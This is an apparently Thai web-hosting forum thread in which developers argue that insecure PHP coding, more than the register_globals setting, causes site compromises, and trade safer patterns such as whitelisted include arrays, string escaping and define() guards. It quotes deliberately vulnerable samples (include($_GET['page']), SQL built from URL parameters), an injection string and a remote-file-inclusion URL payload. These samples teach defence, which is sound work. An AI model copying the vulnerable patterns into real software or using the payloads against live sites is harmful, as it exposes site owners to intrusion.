ถูกต้องครับ ตรงนี้คนทำโฮสสามารถกำหนดเองได้
เพิ่มเติม…สำหรับ SMF ก็มีแจ้งมาว่าโดนเหมือนกันหากไม่ได้ update version
ถูกต้องครับ ตรงนี้คนทำโฮสสามารถกำหนดเองได้
เพิ่มเติม…สำหรับ SMF ก็มีแจ้งมาว่าโดนเหมือนกันหากไม่ได้ update version
จริง ๆ มันไม่เกี่ยวกับ register_globals = On หรอกครับ ผมเปิดไว้ตลอดไม่เห็นมีอะไร
มันอยู่ที่การเขียนโปรแกรมมากกว่า ถ้าเขียนไม่ดี ต่อให้ Off ก็ไม่ได้ช่วยอะไร ตรงนี้ไม่ใช่ประเด็น
ส่วนใหญ่ที่เห็น ก็รั่วที่ code ที่ระบบแทบช่วยไรไม่ได้เลย ระบบดียังไง code รั่ว ก็จบ
เข้าแบบนี้หลุดนะ พี่ smartnet ก็เคยเจอมาแล้วนี่ ตอนทำ free host
[quote author=212cafe.com link=topic=11280.msg109366#msg109366 date=1210478840]
จริง ๆ มันไม่เกี่ยวกับ register_globals = On หรอกครับ ผมเปิดไว้ตลอดไม่เห็นมีอะไร
มันอยู่ที่การเขียนโปรแกรมมากกว่า ถ้าเขียนไม่ดี ต่อให้ Off ก็ไม่ได้ช่วยอะไร ตรงนี้ไม่ใช่ประเด็น
ส่วนใหญ่ที่เห็น ก็รั่วที่ code ที่ระบบแทบช่วยไรไม่ได้เลย ระบบดียังไง code รั่ว ก็จบ
[quote author=kke link=topic=11280.msg109386#msg109386 date=1210485052]
:smash: :smash: :smash:
security ไม่ได้มาจาก register_global on/off แต่มาจาก code รั่วๆซะ่ส่วนใหญ่
ซึ่ง code ที่เขียนให้รองรับ register_global off ได้ คนเขียนจะต้องเข้าใจเรื่องการรับค่าตัวแปล
ซึ่งตัวแปลใหนไม่ได้ใช้มันก็ไม่ได้ import เข้ามา จึงช่วยเรื่องความปลอดภัยได้ระดับหนึ่ง
แต่ไอ้ตัวแปลที่รับเข้ามา ถ้าไม่มีการตรวจสอบป้องกัน เขียน code รั่วๆ ก็จบเห่เหมือนกัน register_global off ไม่สามารถช่วยอะไรได้
ยกตัวอย่างเช่น
include $page;
กับ
include $_POST[‘page’];
ไม่ได้มีอันใหนอันตรายน้อยกว่ากันเลย
แนะนำกันไปเลยว่าเขียน code อย่างไรถึงจะปลอดภัย อ่านไปมาเริ่ม งง
หลักๆที่ต้องระมัดระวังในการเขียน code ก็คือ
การใช้งานตัวแปลที่เก็บ path filename และ sql
ตัวแปลพวกนี้ถ้าถูก inject แทนที่ด้วยไฟล์ หรือ คำสั่ง sql อื่น ก็อาจจะสร้างความเสียหายได้
ดังนั้นก็ต้องมีการตรวจสอบและป้องกันก่อนที่จะ include($file) หรือ query($sql) ให้ดี
โดยเฉพาะการรับค่า GET/POST มาจาก URL หรือ Form ต้องตรวจสอบให้ดี
มีตัวอย่างเปรียบเทียบให้ดูมั้ยครับ
ว่าเขียนแบบไหนดี แบบไหนไม่ดี
phpNUKE ,phpBB ,osc , osc2nuke ,joomla ,mambo โดนกันมาเยอะ แบบนี้
ถ้าจะรับค่ามาจาก GET/POST ก็ต้อง serialize อะครับ
ไม่ใช่ serialize นะครับ
เค้าเรียก escape string lol
้URL: ?page=contact.php
PHP: include($_GET['page']);
แบบนี้อันตรายแน่ๆ เพราะ include ไฟล์ตามตัวแปล page ที่ส่งมาตรงๆ
้URL: ?page=1
PHP:
$page = $_GET['page'];
$p[1]="contact.php";
$p[2]="order.php";
include $p[$page];
แบบนี้ปลอดภัยกว่ามาก เพราะยากที่จะแก้ไขค่าในตัวแปลภายใน $p ได้ หากส่งค่า $page ที่ไม่อยู่ใน array ก็แค่ error เฉยๆ
กรณี sql
้URL: ?sort=id
PHP: sql = "SELECT * FROM table WHERE id=".$id." ORDER by ".$_GET['sort'].";";
แบบนี้อันตรายเพราะ เอาตัวแปลมาใส่ใน sql ตรงๆ โดน sql injection ได้ง่ายๆ
้URL: ?sort=2
PHP:
switch ($_GET['sort']) {
case 1:
$query = "SELECT * FROM customers WHERE username = '$name'";
mysql_query($sql);
จะเลวร้ายเมื่อ
$name = "' OR 1";
เป็นส่วนหนึ่งของปัญหา register_globals=On
แก้โดย escape string
URL: ?page=1
PHP:
$page = $_GET[‘page’];
$p[1]=“contact.php”;
$p[2]=“order.php”;
include $p[$page];
ใครเปิด register globals on ดูหน่อยครับ
แล้วแก้ url เป็น
?page=3&p[3]=http://www.xxx.com/
เข้ามาอ่านติดตามเรื่อยๆครับ
แบบนี้ต้องเดาค่าตัวแปร สิครับ
สมมติถ้าคิดว่ามันเป็น opensource ล่ะครับ
script เขียนเองค่อนข้างปลอดภัยเพราะคนอื่นไม่รู้โค้ดอยู่แล้ว
แต่ถ้า opensource นี่เสร็จครับ
พลาดตรงนี้ก็จะอันตรายเอาเรื่อง
วิธีนึงที่ทำให้ค่อนข้างปลอดภัยคือดัก defined variable ครับ
ตัวอย่าง
index.php:
<?php
define("MAIN", true);
require_once("common.php");
...
common.php:
<?php
if (!defined("MAIN")) die("hacking attempt!");
include(dirname(__FILE__)."/config.php");
...
คือพยายามใช้ internal variable เท่านั้นในการส่งค่าข้ามแฟ้ม
โดยใช้คำสั่ง define(“VARNAME”, “VALUE”);
ประมาณเนี้ยแหละครับ
อืม …
ความง่าย ความรวดเร็ว แปรผกผันกับ security เสมอ ยิ่งคิดยิ่งปวดหัว
สมัยนี้การ attack วิธีต่าง ๆ มีมากมายเหลือเกิน ไม่เหมือนสมัยก่อน … :smash:
เท่าที่อ่านๆมา ผมก็สงสัยเหมือนกันว่าจะ include ตัวแปร ทำไม?
ผมยังไม่เคยเห็นสคริปไหนทำแบบนั้นครับ
หากจะใช้จริงๆทำไมไม่ใช่ hide field
จริงๆควรใช้คำสั่ง require_once แทน include ด้วย
สำหรับคนทำ host ก็คงจะถามว่าทำไม แต่ถ้าเป็นโปรแกรมเมอร์มือใหม่หัดขับ (เหมือนผมแต่ก่อน) ไม่สนหรอกว่าต้องใช้